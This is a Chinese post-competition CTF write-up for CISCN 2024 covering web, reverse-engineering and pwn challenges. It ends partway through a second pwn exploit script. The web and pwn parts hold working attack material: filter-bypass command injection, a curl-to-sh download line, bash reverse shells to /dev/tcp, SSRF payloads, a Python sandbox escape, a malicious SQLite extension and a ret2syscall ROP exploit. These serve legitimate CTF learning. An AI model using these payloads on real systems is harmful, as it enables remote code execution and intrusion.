2024 CISCN 赛后学习与总结

前言

最后排名是58,又被爆杀了,全程被队友抬了,不出意外的话应该能进复赛。

图片.webp

Web

以下内容为赛后总结,并非比赛时wp。

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

我不理解这个题为什么能有这么多逆天绕过:
escapeshellcmd会给除@:-+=等符号前添加\也就是说可以一定程度上防shell。

第一种

使用php这里需要的payload是:

1
php -r xxxx

这个竟然可以直接运行,我最开始以为需要引号才可以。
image.png
而且神奇的是,套娃函数也可以用😓。也就是说可以想到eval执行,里面用hex2bin,这里比较难想的是可以通过使用substr将数字转换为字符串。
这和想象的并不一样。因此可以构造payload:

1
cmd=php -r eval(hex2bin(substr(Natro9273797374656d28276c73202f27293b,7)));

image.png
但是发现根目录没有flag,ps发现有mysql服务:
image.png
猜测flag位于mysql中:
这里可以使用sql查询,但是这里使用的是弱口令root root,反弹出shell直接读也可以:
但是这里弹shell不知道为什么弹不出来。可能是哪里出问题了。
那就只能直接sql查了:

1
2
# echo `mysql -u root -p'root' -e 'show databases;'`;
cmd=php+-r+eval(hex2bin(substr(Natro926563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27603b,7)));

image.png

1
2
# mysql -u root -p'root' -e 'use PHP_CMS;show tables;'
cmd=php+-r+eval(hex2bin(substr(Natro926563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b,7)));

image.png
最后查下:

1
2
# select * from PHP_CMS.F1ag_Se3Re7;
cmd=php+-r+eval(hex2bin(substr(Natro926563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d65202773656c656374202a2066726f6d205048505f434d532e463161675f5365335265373b27603b,7)));

image.png
这里是用ctfshow的靶机复现的。

第二种

还能用%0a绕过:
构建payload:
记得要在抓包中修改
image.png
ps
image.png
后面省略

第三种

用反斜杠将关键字符绕过,这个竟然能用我是最不理解的。

1
cmd=eval `ec\ho Y3VybCBodHRwOi8vWW91ci1pcDo4MDAwLzEuc2h8c2g=|base\64 -d|s\h`

注意要用\将过滤的打断即可。

easycms

提示1: /flag.php:

1
2
3
4
5
6
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

提示2:github找一下源码?

dirsearch能扫到有flag.php,也就是我们需要扫到一个ssrf点打。
xunruicms-master\dayrui\Fcms\Core\Helper.php
其中有SSRF点:
image.png
api中是调用路由

1
2
3
4
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

可控参数,然后分析其中函数:
image.png
image.png
这里打的。
然后就根据内容构造payload即可:
api格式是查文档来的。
payload:

1
?s=api&c=api&m=qrcode&text=1&thumb=http://ip:port/1.php&size=10&level=1

利用重定向location让自己去访问flag.php然后cmd传参反弹shell的php就行。
注意cmd要全编码。
image.webp

PS

远端那个并不是最新版,也就导致源码和能下到的不一样,所以有的文件夹没有,比如ueditor这个文件夹。
而且github的源码和官网的源码不一样我去了。他还特意写个上github找找源码!

easycms_revenge

发现down_img路由可以ssrf:
image.png
有个正则识别一下即可然后将img转成url了。
这里根据构造一下即可:

1
2
get: ?s=api&c=file&m=down_img
post:value=<img src="http://127.0.0.1/flag.php?cmd=bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" alt="Example Image">

就能反弹到shell了

mossfern

Python利用栈帧沙箱逃逸 - 先知社区

基础准备

他这个博客说实话我没太看懂怎么用的。
循环1-100

1
2
3
4
5
6
7
8
9
10
11
12
def f():
a = 1
for i in range(100):
yield a
a += 1


f = f()

for value in f:
print(value)

而生成器表达式我认为类似Lambda表达式,比如:

1
2
3
4
5
6
# 生成器表达式示例,生成的是0到9每个数的平方
squares_generator = (x**2 for x in range(10))

# 使用生成器表达式
for square in squares_generator:
print(square)

Lambda表达式:

1
2
3
4
5
# Lambda表达式示例,创建一个简单的加法函数
add = lambda x, y: x + y

# 使用Lambda表达式
print(add(5, 7)) # 输出: 12

而两者的不同点也可能就是前者更加适合迭代,而后者是生成一个匿名函数。
其中生成器的属性:

  • gi_code: 生成器对应的code对象。
  • gi_frame: 生成器对应的frame(栈帧)对象。
  • gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
  • gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
  • gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

其中的gi_frame属性是生成器对象的当前栈帧对象。栈帧对象包含了生成器执行的所有上下文信息,包括正在执行的指令、当前的局部变量、全局变量、以及调用堆栈。通过gi_frame,你可以访问这些上下文信息并进行诸如触发器、调试器和分析器等高级用途的操作。
比如这段示例代码获取生成器的当前帧信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)
1
2
3
4
Local Variables: {}
Global Variables: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000011D30894C50>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\Workstation\\CodeWorkSpace\\Python\\main.py', '__cached__': None, 'my_generator': <function my_generator at 0x0000011D1F3304A0>, 'gen': <generator object my_generator at 0x0000011D30801640>, 'frame': <frame at 0x0000011D1F2F0A60, file 'D:\\Workstation\\CodeWorkSpace\\Python\\main.py', line 1, code my_generator>}
Code Object: <code object my_generator at 0x0000011D3095AE90, file "D:\Workstation\CodeWorkSpace\Python\main.py", line 1>
Instruction Pointer: 0

这其中的几个参数的含义为:

  • f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
  • f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
  • f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
  • f_lasti: 整数,表示最后执行的字节码指令的索引。
  • f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

因此可以通过生成器的栈帧对象通过f_back从而逃逸出获取到f_globals导致获取到变量值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
flag = "this is flag"

codes = '''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['flag'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals = {}
code = compile(codes, "test", "exec")
exec(code, locals)
print(locals["b"])

这其中的next函数也就是获取迭代器的下一个项目。
这里分析一下:

  1. waff() 是最外层的函数。
  2. f() 是嵌套在 waff() 里的一个函数,它是一个生成器函数,因为它包含 yield 关键字。
  3. f() 被调用,返回一个生成器对象 g
  4. next(g) 调用开始执行生成器 f(),但在 yield 关键字处立即暂停,返回生成器当前的栈帧对象 frame
  5. frame.f_back 返回 waff() 函数的栈帧对象。
  6. frame.f_back.f_back 返回 waff() 函数的调用者的栈帧对象,这里的调用者是全局执行环境,也就是 exec(code, locals) 执行的上下文。
  7. f_globals 是一个包含当前栈帧中全局变量的字典。

回到题目

这样之后就好多了,我们看下题目,将code放到json中发送实现调用。
测试payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
code = '''def Natro92():
def exp():
yield test.gi_frame.f_back.f_back.f_back

test = exp()
for exp in test:
tmp = exp
return tmp


natro = Natro92()
print(natro)'''
print(code.replace('\n','\\n'))

记得要将换行转义。
image.png
发送之后我们能注意到已经获取到了f_code参数
f_code中变量如下:

  • co_varnames:这是一个包含函数的局部变量和参数名的元组。在函数的作用域内声明的变量名会按照它们出现的顺序被保存在这里。
  • co_names:一个包含函数中使用的变量名(不包括局部变量)的元组,例如在函数内部引用的全局变量或内置变量名。
  • co_consts:一个包含字节码中所有常量引用的元组,这些常量可能是字符串、数字、元组等不变类型。

除了与变量相关的属性,f_code还包含了其他一些描述代码的属性:

  • co_argcount:函数的位置参数的数量。
  • co_kwonlyargcount:函数的仅限关键字参数的数量。
  • co_nlocals:函数中局部变量的数量。
  • co_stacksize:函数执行所需的栈的大小。
  • co_flags:描述函数的功能的标志的数字,例如是否是一个生成器函数。
  • co_code:编译过的函数字节码的字符串表示。

我们可以查看其中的co_const变量:

1
def Natro92():\n    def exp():\n        yield test.gi_frame.f_back.f_back.f_back\n\n    test = exp()\n    for exp in test:\n        tmp = exp\n    return tmp\n\n\nnatro = Natro92()\nprint(natro.f_code.co_consts)

image.png
然后就可以通过切片来绕过对flag字符的过滤:

1
{"code": "def Natro92():\n    def exp():\n        yield test.gi_frame.f_back.f_back.f_back\n\n    test = exp()\n    for exp in test:\n        tmp = exp\n    return tmp\n\n\nnatro = Natro92()\nprint(natro.f_code.co_consts[16][1:])"}

PS:这个在当时ciscn的靶机索引是19,但是ctfshow的索引是16:
image.png

ez_java(未出复现)

https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf

这个当时没搞出来,唉,太菜了。Java打不动啊,我们队的另一个web师傅后面只能任意文件读取,不能rce。
下面是看着 B神 的wp搞得。
image.png
给了三个JDBC服务,但是只有sqlite可以利用:
image.png
已经开启了扩展支持。
这里本地调试一下jar包(头一次知道jar包也能调试😓)

jar调试前准备

IDEA调试Jar包

  • 加载Maven库。

image.png

  • 添加依赖(这步似乎idea在导入后自动会被导入)

image.png
image.png

  • 设置调试器(remote jvm debug

image.png
要选择自己的java版本,比如我这里如果使用java1.8就使用java8的配置参数:

1
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005  -jar .\app.jar

image.png
看到运行到5005就是成功了。然后就是打开idea调试:
注意这里使用的端口是固定的11443,如果端口被占用需要kill掉前面的进程:

1
2
3
netstat -aon|findstr "8081"
tasklist|findstr "9088"
taskkill /T /F /PID 9088

先随便断个点测试是否调试成功了
然后测试访问接口localhost:11443/jdbc/index,如果到了断点处则说明成功了:
image.png

回到题目

image.png
这里会取resourceAddr的hashcode在加上前缀作为最终缓存名称。我们需要利用这个特性缓存一个恶意的so文件。
按照要求构造恶意so文件

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
system("bash -c 'bash -i >& /dev/tcp/ip/8888 <&1'");
}}

void space() {{
static char waste[500 * 1024] = {{2}};
}}

然后编译为so文件

1
gcc -shared -fPIC exp.c -o exp.so

image.png
warning不重要
然后使用load_extension('xxx',flag)就可以加载flag方法,进行反弹shell。
第二次需要加载这个恶意的so文件:
这里先生成一个恶意的db文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;
public class Gen {
public static void main(String[] args) {
try {
String dbFile = "poc.db";
File file = new File(dbFile);
Class.forName("org.sqlite.JDBC");
Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);

System.out.println("Opened database successfully");
String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1726875147.db','flag'));"; //向其中插⼊传⼊的三个参数
PreparedStatement preStmt = conn.prepareStatement(sql);
preStmt.executeUpdate();
preStmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里创建了一个security表,并且使用了as select语句,如果发起请求,就会触发select语句。
注意这里的名称记得要改成本地测试过的名称:
image.png
比如我的so文件是sqlite-jdbc-tmp--1726875147.db就改成对应的。
开个python http服务传下试一试:

1
2
/jdbc/connect
{"type":"3","url":"jdbc:sqlite::resource:http://your-ip:9292/exp.so","tableName": "security"}

image.png
按照想象的存了db文件。
然后再加载恶意的db,触发指定的sql语句就行了。
远端测试,先下载恶意文件:
image.png
再执行恶意db文件:
image.png
image.png
image.png
这里控制的也好,我记得我们队的师傅打的时候用fake mysql可以做到读文件再就没法继续了。太强了B神。

Rev

这是做题后的wp,可以在CISCN2024 询问师傅

asm_re

看汇编,简单转换一下逻辑,大概是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>

int main() {
// Stack allocation
char buffer[256];
char result[256];

// Initialize buffer with a string
strcpy(buffer, "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}");

// Copy buffer to result
memcpy(result, buffer, 256);

// Calculate the length of the string in buffer
int length = strlen(result);

// Loop through each character in result, perform some operations
for (int i = 0; i < length; i++) {
// Some arithmetic operations on each character
result[i] = ((result[i] * 0x50 + 0x14) ^ 0x4D) + 0x1E;
}

// Print result
printf("%s\n", result);

return 0;
}

导出一下密文

爆破flag

exp

1
2
3
4
5
6
7
8
enc = [0x1FD7, 0x21B7, 0x1E47, 0x2027, 0x26E7, 0x10D7, 0x1127, 0x2007, 0x11C7, 0x1E47, 0x1017, 0x1017, 0x11F7, 0x2007, 0x1037, 0x1107, 0x1F17, 0x10D7, 0x1017, 0x1017, 0x1F67, 0x1017, 0x11C7, 0x11C7, 0x1017, 0x1FD7, 0x1F17, 0x1107, 0x0F47, 0x1127, 0x1037, 0x1E47, 0x1037, 0x1FD7, 0x1107, 0x1FD7, 0x1107, 0x2787]

for i in range(len(enc)):
for j in range(32,128):
if ((j * 0x50 + 0x14) ^ 0x4D) + 0x1E == enc[i]:
print(chr(j), end='')
break
#flag{67e9a228e45b622c2992fb5174a4f5f5}

flag{67e9a228e45b622c2992fb5174a4f5f5}

androidso_re

主要加密在inspect里面

key和iv都在native 层JNI里

都挺复杂的,静态不好分析


考虑动态,frida hook梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function hook() {
let jni = Java.use("com.example.re11113.jni");

var iv = jni.getiv();
console.log("iv = :" + iv);
var key = jni.getkey();
console.log("key = :" + key);
}
function main() {
Java.perform(function () {
hook();
});
}

setTimeout(main, 200);

结果发现getkey返回值不是Mofified UTF-8,导致程序崩溃

随意尝试直接hook JNI函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function hook() {
let jni = Java.use("com.example.re11113.jni");

var res = jni.getiv();
console.log("iv = :" + res);
//var key = jni.getkey();
//console.log("key = :" + key);
// 尝试直接Hook JNI函数
var getkeybase = Module.findExportByName("libSecret_entrance.so", "Java_com_example_re11113_jni_getkey");//获取getkey函数地址
if (getkeybase) {
Interceptor.attach(getkeybase, {//hook getkey函数
onEnter: function(args) {//进入函数时调用
console.log("JNI getkey called");
},
onLeave: function(retval) {//离开函数时调用
if (!retval.isNull()) {//如果返回值不为空/
try {
var result = Memory.readUtf8String(retval);//读取返回值UTF-8字符串
console.log("Reconstructed key = " + result);//打印返回值
retval.replace(ptr(result));//替换返回值
} catch (memError) {
console.log("Memory read error: " + memError.message);//打印错误信息
}
}
}
});

// 调用getkey方法以触发Hook
var key = jni.getkey();
console.log("key = :" + key);//打印key
} else {
console.log("Failed to find the export 'Java_com_example_re11113_jni_getkey'");//打印错误信息无法找到导出
}
}

function main() {
Java.perform(function () {
hook();
});
}

setTimeout(main, 200);

得到

1
2
key = b"A8UdWaeq"  
iv = b"Wf3DLups"

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad

def decrypt_message(encrypted_message, key, iv):
try:
# 解码 base64 编码的密文
encrypted_bytes = base64.b64decode(encrypted_message)

# 初始化 DES 密码器
cipher = DES.new(key, DES.MODE_CBC, iv)

# 解密并去填充
decrypted_bytes = unpad(cipher.decrypt(encrypted_bytes), DES.block_size)
decrypted_message = decrypted_bytes.decode('utf-8')

return decrypted_message
except (ValueError, KeyError) as e:
# 捕获解密和去填充错误
print(f"Decryption failed: {e}")
return None

if __name__ == "__main__":
encrypted_message = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw=="
key = b"A8UdWaeq" # 8 字节长的密钥
iv = b"Wf3DLups" # 8 字节长的初始化向量

decrypted_message = decrypt_message(encrypted_message, key, iv)
if decrypted_message:
print("Decrypted message:", decrypted_message)
else:
print("Decryption failed.")
#Decrypted message: 188cba3a5c0fbb2250b5a2e590c391ce
#flag{188cba3a5c0fbb2250b5a2e590c391ce}

rust_baby

看看字符串窗口

有明显base64表和数据

跟进一下找到主函数sub_14000298A
先解看看这数据是什么

得到

1
2
3
4
5
6
7
8
9
10
{
"henhenaaa!":[1,1,4,5,1,4,1,9,1,9,8,1,0],
"cryforhelp":"igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc=",
"whatadoor":"1145141919810WTF",
"iwantovisit":"O0PSwantf1agnow1"
}{
"where":"where is your flag?:",
"omg":"correct flag",
"nonono":"nope, wrong flag"
}

大致判断igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc=是最后的密文
base64解码一下最终密文,可以得知输入长度是104
开始调试,输入长度伪104的字符串,这里对输入进行分组

355行对数据进行了加密处理,静态看比较复杂
直接看结果,前两位-1然后两位不变,再两位+1,最后两位+2

然后加密完后每一位异或0x33
中间一大段是用这这两串来进行一系列操作 “whatadoor”:”1145141919810WTF”, “iwantovisit”:”O0PSwantf1agnow1”生成一个串来和输入进行异或
然后对比数据可以发现,输入加密后存在了这里v181这里都是同样的8个一组

记录下来,后面会用到

在这往后也是一堆异或操作
往后找,直到这里

看看src,dump下来
再往后是一些base64加密

然后到这里

在汇编界面运行到这里

可以得到输入的最后加密结果

把他base64解密一下,得到的和之前记录的src一样,印证了中间一大串都是base64

那我们用最初记录下来的8位一组的加密结果与src异或

然后我们换个输入,同样的做法也会得到相同的值,说明这就是密钥
用这个密钥去异或最后的加密结果,还原出异或前的值

然后这个值再异或0x33

就得到一串只要解最开始的前两位-1然后两位不变,再两位+1,最后两位+2就是正确输入的数据了
我们用正确的密文解一下

写个脚本解一下

exp

1
2
3
4
5
6
7
enc = [0x65,0x6b,0x61,0x67,0x7c,0x37,0x67,0x34,0x33,0x37,0x30,0x62,0x34,0x2e,0x36,0x68,0x2f,0x31,0x2d,0x34,0x64,0x67,0x33,0x2f,0x38,0x61,0x63,0x30,0x2e,0x32,0x34,0x35,0x61,0x36,0x35,0x66,0x3a,0x62,0x3b,0x34,0x31,0x7c,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47] 
key = [1,1,0,0,-1,-1,-2,-2]
flag = ""
for i in range(len(enc)):
flag += chr(enc[i] + key[i % len(key)])
print(flag)
#flag{6e2480b3-4f02-4cf1-9bc0-123b75f9a922}EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

whereThel1b

以为是cython逆向,硬看so,脑子直接炸
后来转念一想,运行脚本看看呢
输入任意三个字符trytry都返回4个数字

猜测跟base有关或者类似
考虑每次去爆破三个字符,然后补齐剩下的,调用trytry得到返回值去和密文比较
注意so的调用必须是linux 下python 3.10

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import whereThel1b

enc = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
table = list(b'flag{-}abcdefghijklmnopqrstuvwxyz0123456789')

flag = b''
for i in range(0, len(enc), 4):
query = 0
for j in table:
for k in table:
for l in table:
if query == 1: break
else:
c = bytes([j, k, l])
tmp = flag + c
tmp = tmp.ljust(42, b'A')
res = whereThel1b.trytry(tmp)[i:i+4]
if res == enc[i:i+4]:
flag += c
print(flag)
query = 1
#flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

gdb_debug

种子是固定的

考虑直接动调,拿异或因子
第一个断点,拿到v20异或因子,只取低两位0xD9

第二个断点

然后转到汇编,一直F8运行至这里

点ptr获得indx值

第三个断点

然后转到汇编,在rand()处再下个断点,同样取低两位 0xDE

最后的数据是静态的byte数组,点进去就行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
key = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
enc = 'congratulationstoyoucongratulationstoy'
tmp = []
for i in range(len(enc)):
tmp.append(ord(enc[i]) ^ key[i])
print(tmp)
key2 =[0xDE, 0xAA, 0x42, 0xFC, 0x09, 0xE8, 0xB2, 0x06, 0x0D, 0x93, 0x61, 0xF4, 0x24, 0x49, 0x15, 0x01, 0xD7, 0xAB, 0x04, 0x18, 0xCF, 0xE9, 0xD5, 0x96, 0x33, 0xCA, 0xF9, 0x2A, 0x5E, 0xEA, 0x2D, 0x3C, 0x94, 0x6F, 0x38, 0x9D, 0x58, 0xEA]
tmp = [tmp[i] ^ key2[i] for i in range(len(tmp))]

ind = [0x12, 0x0E, 0x1B, 0x1E, 0x11, 0x05, 0x07, 0x01, 0x10, 0x22, 0x06, 0x17, 0x16, 0x08, 0x19, 0x13, 0x04, 0x0F, 0x02, 0x0D, 0x25, 0x0C, 0x03, 0x15, 0x1C, 0x14, 0x0B, 0x1A, 0x18, 0x09, 0x1D, 0x23, 0x1F, 0x20, 0x24, 0x0A, 0x00, 0x21]
v28 = [0] * 38
for i in range(38):
v28[ind[i]] = tmp[i]
v20 = [0xD9, 0x0F, 0x18, 0xBD, 0xC7, 0x16, 0x81, 0xBE, 0xF8, 0x4A, 0x65, 0xF2, 0x5D, 0xAB, 0x2B, 0x33, 0xD4, 0xA5, 0x67, 0x98, 0x9F, 0x7E, 0x2B, 0x5D, 0xC2, 0xAF, 0x8E, 0x3A, 0x4C, 0xA5, 0x75, 0x25, 0xB4, 0x8D, 0xE3, 0x7B, 0xA3, 0x64]
flag = bytes([v20[i] ^ v28[i] for i in range(38)])
print(flag)
#b'flag{78bace5989660ee38f1fd980a4b4fbcd}'

Pwn

有问题可以咨询 Berial的博客 师傅

gostack

image.png
image.png
我的IDA有的部分是反编译不了的,所以用的是IDA加gdb调试来分析
golang写的,先找到main_main函数
判断就是个栈溢出,虽然实现的东西很简单,不过golang真的看着很复杂
image.png
image.png
我是根据0x208去填充的,计算一下偏移具体为多少
image.png
找到偏移之后就是打ret2syscall
感觉难点就是偏移不是特别好找
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./gostack"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
url = 'pwn.challenge.ctf.show 28187'
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
pop_rdi_5 = 0x4a18a5
pop_rsi = 0x42138a
pop_rax = 0x40f984
pop_rdx = 0x4944ec
syscall_ret = 0x4616C9
bss = 0x5633A0 + 0x500
#----------------------------------------------------------------
# debug('b *0x4A0A97')
payload = b'\x00'*0x1d0
payload += p64(pop_rdi_5) + p64(0) + p64(0)*5
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x10)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall_ret)
payload += p64(pop_rdi_5) + p64(bss) + p64(0)*5
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(syscall_ret)
sl(payload)
sleep(0.5)
sl(b'/bin/sh\x00')
ia()

orange_cat_diary

image.png
被题目唬住了,还想着打House of cat,2.23直接打fastbin就行了,劫持malloc_hook。
delete函数有UAF,但只有一次。
image.png
edit函数有8字节,堆溢出。
image.png
本来想改topchunk的size触发__malloc_assert打IO的,后来才想到打fastbin attack,果然有时候不能想的太复杂。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./orange_cat_diary"
elf = ELF(banary)
libc = ELF("./libc-2.23.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
url = 'pwn.challenge.ctf.show 28156'
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
